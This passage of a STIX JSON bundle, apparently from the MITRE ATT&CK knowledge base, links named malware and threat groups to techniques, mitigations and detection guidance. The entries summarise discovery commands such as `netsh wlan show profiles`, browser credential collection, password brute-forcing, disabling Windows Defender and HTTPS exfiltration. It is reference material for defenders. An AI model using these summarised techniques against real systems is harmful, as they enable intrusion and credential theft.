2018)","relationship_type":"uses","source_ref":"malware--599cd7b5-37b5-4cdd-8174-2811531ce9d0","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1bbb499c-81c8-4e94-8305-86b199e8298b","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf","description":"Anthe, C. et al. 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Retrieved January 24, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[CharmPower](https://attack.mitre.org/software/S0674) can use `netsh wlan show profiles` to list specific Wi-Fi profile details.(Citation: Check Point APT35 CharmPower January 2022)","modified":"2022-04-08T21:12:17.699Z","relationship_type":"uses","source_ref":"malware--7acb15b6-fe2c-4319-b136-6ab36ff0b2d4","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--db08c6bc-0a2a-41f3-bcb2-5410f9e0afa6","type":"relationship","created":"2020-12-22T20:56:28.406Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-259A Iran-Based Actor September 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-259a","description":"CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."}],"modified":"2021-04-20T22:02:32.999Z","description":"[Fox Kitten](https://attack.mitre.org/groups/G0117) has used valid credentials with various services during lateral movement.(Citation: CISA AA20-259A Iran-Based Actor September 2020)","relationship_type":"uses","source_ref":"intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b5372961-d931-497e-8043-1bfa446f65d6","type":"relationship","created":"2021-10-15T20:31:12.330Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks GOLD KINGSWOOD September 2018","url":"https://www.secureworks.com/blog/cybercriminals-increasingly-trying-to-ensnare-the-big-financial-fish","description":"CTU. (2018, September 27). Cybercriminals Increasingly Trying to Ensnare the Big Financial Fish. Retrieved September 20, 2021."}],"modified":"2021-10-15T20:31:12.330Z","description":"[SpicyOmelette](https://attack.mitre.org/software/S0646) has been executed through malicious links within spearphishing emails.(Citation: Secureworks GOLD KINGSWOOD September 2018)","relationship_type":"uses","source_ref":"malware--599cd7b5-37b5-4cdd-8174-2811531ce9d0","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4eb49eb3-c10c-4bbe-9921-b691ddba0b12","type":"relationship","created":"2022-03-30T14:26:51.848Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.848Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). 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(2018, February 20). A Slice of 2017 Sofacy Activity. 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If web browser credential disclosure is a significant concern, technical controls, policy, and user training may be used to prevent storage of credentials in web browsers.","relationship_type":"mitigates","source_ref":"course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485","target_ref":"attack-pattern--4579d9c9-d5b9-45e0-9848-0104637b579f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1d1eaec4-ceeb-4fda-b177-f92fad7d3e44","type":"relationship","created":"2019-01-29T19:18:28.720Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. 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(2022, January 20). Threat Brief: Ongoing Russia and Ukraine Cyber Conflict. Retrieved March 10, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[WhisperGate](https://attack.mitre.org/software/S0689) has used `InstallUtil.exe` as part of its process to disable Windows Defender.(Citation: Unit 42 WhisperGate January 2022)","modified":"2022-04-10T16:56:54.791Z","relationship_type":"uses","source_ref":"malware--49fee0b0-390e-4bde-97f8-97ed46bd19b7","target_ref":"attack-pattern--2cd950a6-16c4-404a-aa01-044322395107","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c8d0e862-20af-4f9f-84e8-0419c8080008","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant No Easy Breach","description":"Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.","url":"http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016"},{"source_name":"Unit 42 SeaDuke 2015","description":"Grunzweig, J.. (2015, July 14). Unit 42 Technical Analysis: Seaduke. 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Retrieved May 18, 2018.","url":"https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/"}],"modified":"2020-03-18T19:36:51.026Z","description":"[Bankshot](https://attack.mitre.org/software/S0239) gathers domain and account names/information through process monitoring.(Citation: McAfee Bankshot)","relationship_type":"uses","source_ref":"malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8","target_ref":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--48357d6a-6d00-42a6-b687-cbd5a9a8ecd6","type":"relationship","created":"2021-01-05T21:50:07.511Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-01-11T19:48:38.055Z","description":"Use least privilege and protect administrative access to the Domain Controller and Active Directory Federation Services (AD FS) server. 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Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in crafting self-signed code signing certificates.\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).","modified":"2022-04-20T03:09:38.895Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--93a6e38c-02a5-44d8-9035-b2e08459f31f","target_ref":"attack-pattern--34b3f738-bd64-40e5-a112-29b0542bc8bf","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8e1a4560-f9da-4729-a364-dade6bb2cdc2","type":"relationship","created":"2021-10-01T01:57:31.661Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ATT TeamTNT Chimaera September 2020","url":"https://cybersecurity.att.com/blogs/labs-research/teamtnt-with-new-campaign-aka-chimaera","description":"AT&T Alien Labs. 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Retrieved March 25, 2019."},{"source_name":"CIS Emotet Dec 2018","url":"https://www.cisecurity.org/white-papers/ms-isac-security-primer-emotet/","description":"CIS. (2018, December 12). MS-ISAC Security Primer- Emotet. Retrieved March 25, 2019."}],"modified":"2020-03-24T20:11:47.822Z","description":"[Emotet](https://attack.mitre.org/software/S0367) has been observed using a hard coded list of passwords to brute force user accounts. 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(2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."}],"modified":"2020-03-30T02:29:55.864Z","description":"[Machete](https://attack.mitre.org/software/S0409) stores zipped files with profile data from installed web browsers.(Citation: ESET Machete July 2019) ","relationship_type":"uses","source_ref":"malware--35cd1d01-1ede-44d2-b073-a264d727bc04","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--44272fb3-a31d-4cea-b11c-b65e2bdcbd68","type":"relationship","created":"2021-09-21T15:10:56.101Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks GOLD KINGSWOOD September 2018","url":"https://www.secureworks.com/blog/cybercriminals-increasingly-trying-to-ensnare-the-big-financial-fish","description":"CTU. (2018, September 27). Cybercriminals Increasingly Trying to Ensnare the Big Financial Fish. Retrieved September 20, 2021."}],"modified":"2021-09-21T15:10:56.101Z","description":"[SpicyOmelette](https://attack.mitre.org/software/S0646) can identify the system name of a compromised host.(Citation: Secureworks GOLD KINGSWOOD September 2018)","relationship_type":"uses","source_ref":"malware--599cd7b5-37b5-4cdd-8174-2811531ce9d0","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e58fe67f-39c1-4e10-b825-1655803dd3d5","type":"relationship","created":"2021-01-05T22:07:13.890Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity SolarWinds","url":"https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/","description":"Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020."}],"modified":"2021-01-14T22:26:50.295Z","description":"[UNC2452](https://attack.mitre.org/groups/G0118) exfiltrated collected data over a simple HTTPS request to a password-protected archive staged on a victim's OWA servers.(Citation: Volexity SolarWinds)","relationship_type":"uses","source_ref":"intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b","target_ref":"attack-pattern--8e350c1d-ac79-4b5c-bd4e-7476d7e84ec5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a9bd68ed-2602-4225-838e-2d9b7f8761b4","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Carbanak","description":"Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf"},{"source_name":"FireEye CARBANAK June 2017","description":"Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html"}],"modified":"2020-03-30T18:46:58.188Z","description":"[Carbanak](https://attack.mitre.org/software/S0030) encrypts the message body of HTTP traffic with RC2 (in CBC mode). [Carbanak](https://attack.mitre.org/software/S0030) also uses XOR with random keys for its communications.(Citation: Kaspersky Carbanak)(Citation: FireEye CARBANAK June 2017)","relationship_type":"uses","source_ref":"malware--72f54d66-675d-4587-9bd3-4ed09f9522e4","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b5a6b7ee-7c1b-41c6-91d8-554ca468426e","type":"relationship","created":"2022-02-07T18:32:59.186Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"BiZone Lizar May 2021","url":"https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319","description":"BI.ZONE Cyber Threats Research Team. (2021, May 13). From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hacker’s toolkit. Retrieved February 2, 2022."}],"modified":"2022-02-07T18:32:59.186Z","description":"[Lizar](https://attack.mitre.org/software/S0681) can search for processes associated with an anti-virus product from list.(Citation: BiZone Lizar May 2021) ","relationship_type":"uses","source_ref":"malware--f74a5069-015d-4404-83ad-5ca01056c0dc","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7e90117e-0a1b-4320-9b37-54e070c3dc49","type":"relationship","created":"2019-05-14T16:58:13.835Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf","source_name":"Kaspersky StoneDrill 2017"}],"modified":"2019-06-07T20:52:37.053Z","description":"[StoneDrill](https://attack.mitre.org/software/S0380) can check for antivirus and antimalware programs.(Citation: Kaspersky StoneDrill 2017)\t","relationship_type":"uses","source_ref":"malware--8dbadf80-468c-4a62-b817-4e4d8b606887","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--800f4061-3347-4816-a633-179ede275505","type":"relationship","created":"2020-01-30T14:34:45.415Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2022-03-14T16:28:20.020Z","description":"The sudoers file should be strictly edited such that passwords are always required and that users can't spawn risky processes as users with higher privilege.","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--769b2668-2e16-4300-89f4-f45124896fb8","type":"relationship","created":"2020-03-27T21:02:29.469Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-03-27T21:02:29.469Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","target_ref":"attack-pattern--457c7820-d331-465a-915e-42f85500ccc4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--83e901bc-8c51-409b-8921-c0ce211f8a59","type":"relationship","created":"2022-03-30T14:26:51.876Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.876Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--830c9528-df21-472c-8c14-a036bf17d665","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4b3685f7-194e-466e-82a0-f8f112b224c1","type":"relationship","created":"2020-02-18T16:39:06.469Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-03-26T21:29:18.780Z","description":"An adversary must already have administrator level access on the local system to make full use of this technique; be sure to restrict users and accounts to the least privileges they require.  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Retrieved February 15, 2018.","url":"https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets"}],"modified":"2020-01-14T18:15:36.603Z","description":"Some [Orz](https://attack.mitre.org/software/S0229) versions have an embedded DLL known as MockDll that uses [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) and regsvr32 to execute another payload.(Citation: Proofpoint Leviathan Oct 2017)","relationship_type":"uses","source_ref":"malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b","target_ref":"attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--297ca26b-2074-46ea-b81d-a0a5c6fe5ac0","type":"relationship","created":"2021-03-19T21:04:01.267Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 TA551 Jan 2021","url":"https://unit42.paloaltonetworks.com/ta551-shathak-icedid/","description":"Duncan, B. (2021, January 7). TA551: Email Attack Campaign Switches from Valak to IcedID. Retrieved March 17, 2021."}],"modified":"2021-03-25T15:34:04.434Z","description":"[TA551](https://attack.mitre.org/groups/G0127) has used spoofed company emails that were acquired from email clients on previously infected hosts to target other individuals.(Citation: Unit 42 TA551 Jan 2021)","relationship_type":"uses","source_ref":"intrusion-set--94873029-f950-4268-9cfd-5032e15cb182","target_ref":"attack-pattern--69f897fd-12a9-4c89-ad6a-46d2f3c38262","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b6f70ba6-bff1-4b40-a418-356e7b6efa27","type":"relationship","created":"2017-05-31T21:33:27.037Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant APT1","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}],"modified":"2019-08-20T13:08:13.539Z","description":"(Citation: Mandiant APT1)","relationship_type":"uses","source_ref":"intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662","target_ref":"tool--03342581-f790-4f03-ba41-e82e67392e23","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8170e34e-8342-4cbf-ae24-7bce63fb4d48","type":"relationship","created":"2021-08-26T18:49:41.567Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Accenture MUDCARP March 2019","url":"https://www.accenture.com/us-en/blogs/cyber-defense/mudcarps-focus-on-submarine-technologies","description":"Accenture iDefense Unit. (2019, March 5). Mudcarp's Focus on Submarine Technologies. Retrieved August 24, 2021."}],"modified":"2021-08-27T13:25:28.204Z","description":"[BADFLICK](https://attack.mitre.org/software/S0642) has searched for files on the infected host.(Citation: Accenture MUDCARP March 2019)","relationship_type":"uses","source_ref":"malware--57d83eac-a2ea-42b0-a7b2-c80c55157790","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--957f81a6-81cb-4279-8c88-1a0a73c2e0d6","type":"relationship","created":"2020-03-18T15:59:09.109Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. 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Retrieved March 25, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Flagpro](https://attack.mitre.org/software/S0696) has been used to execute the <code>net localgroup administrators</code> command on a targeted system.(Citation: NTT Security Flagpro new December 2021)","modified":"2022-04-13T20:26:19.253Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--592260fb-dd5c-4a30-8d99-106a0485be0d","target_ref":"attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--2365c9aa-96df-47d8-8601-1acdf66737ba","created":"2022-03-30T14:26:51.853Z","x_mitre_version":"0.1","external_references":[{"source_name":"Apple Developer Configuration Profile","url":"https://developer.apple.com/business/documentation/Configuration-Profile-Reference.pdf","description":"Apple. (2019, May 3). Configuration Profile Reference. Retrieved September 23, 2021."},{"source_name":"iDefense Rootkit Overview","url":"http://www.megasecurity.org/papers/Rootkits.pdf","description":"Chuvakin, A. (2003, February). An Overview of Rootkits. Retrieved April 6, 2018."},{"source_name":"Linux Loadable Kernel Module Insert and Remove LKMs","url":"http://tldp.org/HOWTO/Module-HOWTO/x197.html","description":"Henderson, B. (2006, September 24). How To Insert And Remove LKMs. Retrieved April 9, 2018."},{"source_name":"User Approved Kernel Extension Pike’s","url":"https://pikeralpha.wordpress.com/2017/08/29/user-approved-kernel-extension-loading/","description":"Pikeralpha. (2017, August 29). User Approved Kernel Extension Loading…. Retrieved September 23, 2021."},{"source_name":"Trend Micro Skidmap","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/","description":"Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload. Retrieved June 4, 2020."},{"source_name":"Purves Kextpocalypse 2","url":"https://richard-purves.com/2017/11/09/mdm-and-the-kextpocalypse-2/","description":"Richard Purves. (2017, November 9). MDM and the Kextpocalypse . Retrieved September 23, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"Loading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands: <code>modprobe</code>, <code>insmod</code>, <code>lsmod</code>, <code>rmmod</code>, or <code>modinfo</code> (Citation: Linux Loadable Kernel Module Insert and Remove LKMs) Adversaries may run commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview) Adversaries may also execute commands to identify the exact version of the running Linux kernel and/or download multiple versions of the same .ko (kernel object) files to use the one appropriate for the running system.(Citation: Trend Micro Skidmap) Many LKMs require Linux headers (specific to the target kernel) in order to compile properly. These are typically obtained through the operating systems package manager and installed like a normal package.\n\nOn macOS, monitor for execution of <code>kextload</code> commands and user installed kernel extensions performing abnormal and/or potentially malicious activity (such as creating network connections). Monitor for new rows added in the <code>kext_policy</code> table. KextPolicy stores a list of user approved (non Apple) kernel extensions and a partial history of loaded kernel modules in a SQLite database, <code>/var/db/SystemPolicyConfiguration/KextPolicy</code>.(Citation: User Approved Kernel Extension Pike’s)(Citation: Purves Kextpocalypse 2)(Citation: Apple Developer Configuration Profile)","modified":"2022-04-16T02:27:10.160Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--a1b52199-c8c5-438a-9ded-656f1d0888c6","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5292f0c1-e65e-4233-aa97-ab75354d74a9","type":"relationship","created":"2020-03-27T20:35:51.492Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-G.PDF","description":"US-CERT. (2018, February 06). Malware Analysis Report (MAR) - 10135536-G. Retrieved June 7, 2018.","source_name":"US-CERT BADCALL"}],"modified":"2020-03-27T20:35:51.492Z","description":"[BADCALL](https://attack.mitre.org/software/S0245) uses a FakeTLS method during C2.(Citation: US-CERT BADCALL)","relationship_type":"uses","source_ref":"malware--9dbdadb6-fdbf-490f-a35f-38762d06a0d2","target_ref":"attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f66af3ae-266c-4aa1-a6b4-f1ff87aff601","type":"relationship","created":"2019-06-21T17:38:45.809Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-10-17T14:12:33.348Z","description":"Use utilities that detect or mitigate common features used in exploitation, such as the Microsoft Enhanced Mitigation Experience Toolkit (EMET).","relationship_type":"mitigates","source_ref":"course-of-action--d2a24649-9694-4c97-9c62-ce7b270bf6a3","target_ref":"attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--695c2f41-140a-48f9-9e14-0cd58d7712d1","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT28","description":"FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.","url":"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"}],"modified":"2020-03-19T23:51:59.099Z","description":"[OLDBAIT](https://attack.mitre.org/software/S0138) collects credentials from Internet Explorer, Mozilla Firefox, and Eudora.(Citation: FireEye APT28)","relationship_type":"uses","source_ref":"malware--2dd34b01-6110-4aac-835d-b5e7b936b0be","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c5331cc2-89e2-40e2-a8b4-7a00198df492","type":"relationship","created":"2022-03-22T17:29:00.915Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft NICKEL December 2021","url":"https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe","description":"MSTIC. (2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022."}],"modified":"2022-03-22T17:29:00.915Z","description":"[Neoichor](https://attack.mitre.org/software/S0691) can use the Internet Explorer (IE) COM interface to connect and receive commands from C2.(Citation: Microsoft NICKEL December 